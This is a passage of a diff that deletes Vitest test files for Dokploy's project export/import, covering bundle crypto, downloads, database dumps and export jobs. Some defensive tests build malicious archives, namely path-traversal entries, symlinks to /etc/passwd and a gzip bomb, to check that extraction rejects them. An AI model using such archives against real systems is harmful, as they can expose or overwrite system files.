expect(unlocked.snapshot.resources.environments).toHaveLength(1);
const decryptedValues = Array.from(unlocked.secretsPlain.values());
expect(decryptedValues).toContain("realdbpassword123");
} finally {
await rm(extractDir, { recursive: true, force: true });
}
}, 30_000);
it("throws TransferCryptoError on a wrong passphrase", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
await expect(
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
).rejects.toThrow(TransferCryptoError);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
const payloadPath = join(extractDir, "payload.enc");
const bytes = await readFile(payloadPath);
const middle = Math.floor(bytes.length / 2);
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
await writeFile(payloadPath, bytes);
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
TransferCryptoError,
);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a tar entry that attempts path traversal", async () => {
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-evil-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe path/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a gzip bomb before extracting anything", async () => {
const bomb = join(outDir, "bomb.dokploy.tar.gz");
await writeFile(
bomb,
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-bomb-"),
);
try {
await expect(
inspectBundle(local(bomb), local(extractDir), {
maxDecompressedBytes: 64 * 1024,
}),
).rejects.toThrow(/decompressed size/);
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
// A post-extraction failure removes the directory; the pre-check never touches it.
expect(existsSync(extractDir)).toBe(true);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects an escaping symlink even when its name contains a tab", async () => {
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("x\ty", "../../../../etc"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-tab-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a symlink entry whose target escapes workDir", async () => {
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-symlink-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
});
@@ -1,316 +0,0 @@
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough, Readable } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (errorPathBox.value && command.includes(errorPathBox.value)) {
const stdout = new Readable({ read() {} });
process.nextTick(() => {
stdout.emit("error", new Error("simulated read failure"));
});
return {
stdin: new PassThrough(),
stdout,
stderr: new PassThrough(),
exit: Promise.resolve(1),
close: () => {},
};
}
return actual.openProcessStream(serverId, command);
},
};
},
);
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const {
createExportJob,
issueDownloadToken,
updateExportJob,
peekDownloadToken,
assertTransferPermission,
} = await import("@dokploy/server/services/project-export-import");
const handler = (
await import("../../pages/api/project-export-import/download/[token]")
).default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
errorPathBox.value = "";
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildReq = (
method: string,
token: string,
): { method: string; query: { token: string } } => ({
method,
query: { token },
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
setHeader: (key: string, value: unknown) => void;
headers: Record<string, unknown>;
} & PassThrough;
stream.statusCode = 200;
stream.headers = {};
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
stream.setHeader = vi.fn((key: string, value: unknown) => {
stream.headers[key] = value;
});
return stream;
};
const drain = (stream: PassThrough): Promise<Buffer> =>
new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
stream.on("end", () => resolve(Buffer.concat(chunks)));
stream.on("error", reject);
});
describe("transfer download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildReq("GET", "any-token");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects an unknown token", async () => {
const req = buildReq("GET", "does-not-exist");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-forbidden-1") as string;
(assertTransferPermission as any).mockRejectedValueOnce(
new (await import("@trpc/server")).TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
}),
);
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(403);
expect(assertTransferPermission).toHaveBeenCalled();
});
it("rejects a token belonging to another organization", async () => {
const job = createExportJob("export-1", "user-1", "org-2");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
const bundlePath = join(root, "bundle.tar.gz");
const content = Buffer.from(
"fake bundle bytes, could be large in real life",
);
await writeFile(bundlePath, content);
createExportJob("export-2", "user-1", "org-1");
updateExportJob("export-2", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-2") as string;
const req = buildReq("GET", token);
const res = buildRes();
const [, received] = await Promise.all([
handler(req as any, res as any),
drain(res),
]);
expect(received.equals(content)).toBe(true);
expect(res.headers["Content-Type"]).toBe("application/gzip");
expect(res.headers["Content-Length"]).toBe(content.length);
expect(String(res.headers["Content-Disposition"])).toContain(
"bundle.tar.gz",
);
await new Promise((resolve) => setTimeout(resolve, 10));
expect(peekDownloadToken(token)).toBeUndefined();
});
it("keeps the token valid when the connection closes before the download finishes", async () => {
const bundlePath = join(root, "bundle-disconnect.tar.gz");
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
createExportJob("export-disconnect-1", "user-1", "org-1");
updateExportJob("export-disconnect-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-disconnect-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.once("data", () => {
res.destroy();
});
await handler(req as any, res as any);
expect(peekDownloadToken(token)).toBeDefined();
});
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
const bundlePath = join(root, "bundle-error.tar.gz");
await writeFile(bundlePath, Buffer.from("will never actually be read"));
errorPathBox.value = bundlePath;
createExportJob("export-error-1", "user-1", "org-1");
updateExportJob("export-error-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-error-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.destroyed).toBe(true);
});
it("rejects a GET with a non-string token param", async () => {
const req = { method: "GET", query: { token: ["a", "b"] } };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
});
it("rejects non-GET methods", async () => {
const req = buildReq("POST", "whatever");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
const bundlePath = join(root, "large-bundle.tar.gz");
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const { open } = await import("node:fs/promises");
const handle = await open(bundlePath, "w");
for (let i = 0; i < chunkCount; i++) {
await handle.write(chunk);
}
await handle.close();
createExportJob("export-large", "user-1", "org-1");
updateExportJob("export-large", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-large") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.resume();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(
req as unknown as Parameters<typeof handler>[0],
res as unknown as Parameters<typeof handler>[1],
);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
});
});
@@ -1,550 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildComposeDumpCommand,
buildDumpCommand,
createDumps,
MAX_EMBEDDED_DUMP_BYTES,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
describe("buildDumpCommand", () => {
it("builds a postgres dump command using databaseName/databaseUser", () => {
const built = buildDumpCommand("postgres", {
appName: "pg-one",
databaseName: "mydb",
databaseUser: "myuser",
});
expect(built?.ext).toBe("sql.gz");
expect(built?.containerSearch).toContain("pg-one");
expect(built?.command).toContain("pg_dump");
expect(built?.command).toContain("mydb");
});
it("builds a mysql dump command using databaseRootPassword", () => {
const built = buildDumpCommand("mysql", {
appName: "mysql-one",
databaseName: "mydb",
databaseRootPassword: "rootpass",
});
expect(built?.command).toContain("mysqldump");
expect(built?.command).toContain("rootpass");
});
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
const built = buildDumpCommand("mariadb", {
appName: "maria-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.command).toContain("mariadb-dump");
});
it("builds a mongo dump command", () => {
const built = buildDumpCommand("mongo", {
appName: "mongo-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.ext).toBe("archive.gz");
expect(built?.command).toContain("mongodump");
expect(built?.command).toContain("--archive --gzip");
expect(built?.command).not.toContain("-d ");
});
it("builds a libsql dump command over sqld's iku.db data directory", () => {
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
expect(built?.ext).toBe("tar.gz");
expect(built?.command).toContain("iku.db");
expect(built?.command).not.toContain("libsql-one");
});
it("returns undefined for a non-dumpable service type", () => {
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
expect(
buildDumpCommand("application", { appName: "app-one" }),
).toBeUndefined();
});
});
describe("buildComposeDumpCommand", () => {
it("builds from metadata.mariadb when databaseType is mariadb", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
});
expect(built?.command).toContain("mariadb-dump");
expect(built?.containerSearch).toContain("stack-one");
});
it("returns undefined when the matching metadata block is missing", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mongo",
metadata: {},
});
expect(built).toBeUndefined();
});
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [],
};
const buildTree = (
postgres: Record<string, unknown>[],
redis: Record<string, unknown>[] = [],
) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres,
redis,
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
deployments: { findMany: async () => [] },
backups: { findFirst: async () => undefined },
...overrides,
},
}) as any as TransferDb;
let workDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
});
describe("createDumps / embed mode", () => {
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(100, 1));
},
},
);
expect(warnings).toHaveLength(0);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
]);
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
});
it("notes that admin users are not restored for a mongo dump", async () => {
const tree = buildTree([]);
tree.environments[0]!.mongo = [
{
mongoId: "mongo-1",
appName: "mongo-one",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
] as any;
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(10, 1));
},
},
);
expect(dumps).toHaveLength(1);
expect(warnings.map((w) => w.code)).toEqual([
"MONGO_ADMIN_USERS_NOT_RESTORED",
]);
});
it("skips redis (no dump mechanism)", async () => {
const tree = buildTree(
[],
[
{
redisId: "redis-1",
appName: "redis-one",
serverId: null,
backups: [],
},
],
);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(0);
});
it("does nothing when dumps.mode is none", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "none" } },
local(workDir),
{
runDump: async () => {
throw new Error("should not be called");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => {
const { open } = await import("node:fs/promises");
const handle = await open(localPath.path, "w");
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
await handle.close();
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
});
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("pg_dump: connection refused");
},
},
);
expect(dumps).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_FAILED");
expect(warnings[0]?.message).toContain("pg-one");
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "pg-1" }),
);
});
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(1);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
expect(warnings[0]?.affected).toEqual([
{
serviceId: "compose-1",
serviceType: "compose",
serviceName: "stack-one",
environmentId: "env-1",
},
]);
expect(dumps[0]?.serviceId).toBe("compose-1");
expect(dumps[0]?.mode).toBe("embed");
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
"backup-1",
);
});
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("Container not found");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
});
describe("createDumps / referenceLastBackup mode", () => {
it("references the destination + key prefix of the latest successful backup", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const db = fakeDb({
deployments: {
findMany: async () => [{ backupId: "backup-1", status: "done" }],
},
backups: {
findFirst: async () => ({
backupId: "backup-1",
destinationId: "dest-1",
prefix: "/nightly/",
}),
},
});
const { dumps } = await createDumps(
db,
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "referenceLastBackup",
destinationId: "dest-1",
keyPrefix: "pg-one/nightly/",
},
]);
});
it("skips a service with no successful backup deployment", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toHaveLength(0);
});
});
@@ -1,118 +0,0 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import {
buildDatabaseSizeCommand,
buildDirectorySizeCommand,
estimateSizes,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
],
compose: [
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
],
postgres: [
{
postgresId: "pg-1",
appName: "pg-one",
serverId: null,
databaseName: "mydb",
databaseUser: "me",
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
libsql: [],
},
],
};
const pathsFn = (isServer = false) =>
({
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
}) as never;
describe("estimateSizes", () => {
it("sums database and file sizes, keyed to the right server and path", async () => {
const calls: [string | null, string][] = [];
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async (serverId, command) => {
calls.push([serverId, command]);
if (command.includes("pg_database_size")) return "1048576\n";
if (command.includes("/remote/compose/compose-one")) return "2048";
if (command.includes("/local/apps/app-one")) return "4096";
throw new Error("unexpected");
},
});
expect(sizes).toEqual({
estimatedDumpBytes: 1048576,
estimatedFilesBytes: 6144,
});
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
});
it("counts a failing probe as zero instead of failing the preview", async () => {
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async () => {
throw new Error("container not running");
},
});
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
});
});
describe("size command builders", () => {
it("passes database credentials as env vars, never inside the container script", () => {
const command = buildDatabaseSizeCommand("mariadb", {
appName: "db-one",
databaseName: "shop",
databaseUser: "shop",
databasePassword: "s3cret'quote",
}) as string;
const [outer, inner] = command.split(" sh -c ");
expect(outer).toContain("-e DB_PASS=");
expect(inner).toContain('--password="$DB_PASS"');
expect(inner).not.toContain("s3cret");
expect(inner).not.toContain("\\$");
});
it("has no size probe for redis", () => {
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
});
it("quotes the directory path", () => {
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
);
});
});
@@ -1,348 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelExport,
cleanupExpiredExports,
createExportJob,
getExportJob,
runExport,
runExportBatch,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
});
const emptyProjectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => emptyProjectTree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const waitForStatus = async (
exportId: string,
target: "done" | "error",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getExportJob(exportId);
if (job?.status === target || job?.status === "error") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 20));
}
throw new Error(
`Timed out waiting for export ${exportId} to reach ${target}`,
);
};
describe("runExport", () => {
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.bundle?.path).toBeDefined();
expect(existsSync(job?.bundle?.path as string)).toBe(true);
expect(job?.downloadToken).toBeDefined();
expect(job?.size).toBeGreaterThan(0);
});
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
const tree = {
...emptyProjectTree,
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
compose: [],
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
mounts: [],
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
const db = {
query: {
projects: { findFirst: async () => tree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
applications: {
findMany: async () => [],
findFirst: async () => undefined,
},
},
} as any as TransferDb;
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db,
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
"DUMP_FAILED",
]);
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
});
it("gives two concurrent exports independent exportIds and workDirs", async () => {
const first = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const second = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
expect(first.exportId).not.toBe(second.exportId);
const [job1, job2] = await Promise.all([
waitForStatus(first.exportId, "done"),
waitForStatus(second.exportId, "done"),
]);
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
});
});
describe("runExportBatch", () => {
it("runs the exports one after another and finishes every job", async () => {
const ctx = {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
};
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], ctx);
expect(exportIds).toHaveLength(2);
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
expect(existsSync(first?.bundle?.path as string)).toBe(true);
expect(existsSync(second?.bundle?.path as string)).toBe(true);
}, 30_000);
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
});
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
